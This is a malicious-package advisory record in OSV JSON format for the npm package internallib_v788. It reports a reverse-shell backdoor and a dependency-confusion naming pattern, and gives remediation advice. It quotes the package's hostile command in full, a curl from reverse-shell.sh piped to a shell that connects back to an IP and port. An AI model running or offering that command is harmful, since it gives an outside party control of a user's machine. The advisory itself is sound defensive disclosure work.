{"id":"MAL-2026-17649","summary":"Malicious code in internallib_v788 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129)\ninternallib_v788 exports a `command` function in index.js (line 5) that executes `/bin/bash -c \"curl https://reverse-shell.sh/10.0.75.246:443|sh\"`, fetching a reverse-shell payload from reverse-shell.sh and piping it to a shell. Invoking the exported API opens an interactive reverse shell from the installer's host back to 10.0.75.246:443, giving that endpoint arbitrary command execution on the installer's machine. The package also declares a self-referential dependency on `internallib_v788` with an `internallib_` naming prefix, matching the structural shape of a dependency-confusion artifact targeting a private internal registry name.\n\n## Source: ghsa-malware (e9395ae1eb59e35b8fddb848dfee71475753188ad1fadfe3225f23ada5333cfb)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","aliases":["GHSA-8pvp-4qvp-26m7"],"modified":"2026-10-08T04:00:04.248285235Z","published":"2026-10-08T01:50:59Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-10-08T02:40:51.685102398Z","modified_time":"2026-10-08T01:51:00Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"e9395ae1eb59e35b8fddb848dfee71475753188ad1fadfe3225f23ada5333cfb","source":"ghsa-malware","id":"GHSA-8pvp-4qvp-26m7"},{"modified_time":"2026-10-08T03:31:26Z","sha256":"59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129","source":"amazon-inspector","versions":["1.0.1"],"id":"IN-MAL-2026-021101","import_time":"2026-10-08T03:50:27.921113998Z"}]},"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8pvp-4qvp-26m7"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v788/v/1.0.1"}],"affected":[{"package":{"name":"internallib_v788","ecosystem":"npm","purl":"pkg:npm/internallib_v788"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.1"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/internallib_v788/MAL-2026-17649.json","cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"sha256":"cd73febb6d941c0cd3b756aad43f73fbbc3d672321cbc6b2a276ba7e59d18094","tlsh":"3cd0227a09b72139f302a1d09e17f0a178474c2b362c80b0b04481a60e8288c62e70ee","path":"index.js"},{"sha256":"06b39a1c32fdfe81523c604dadf5d1c21bd36bd50a8382e6a5826f965246c3f2","tlsh":"c5d05e2059639d3751c6526a2c7994537261ce2f5056bc0857cf692c41cf6f398fd35c","path":"package.json"}]}}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}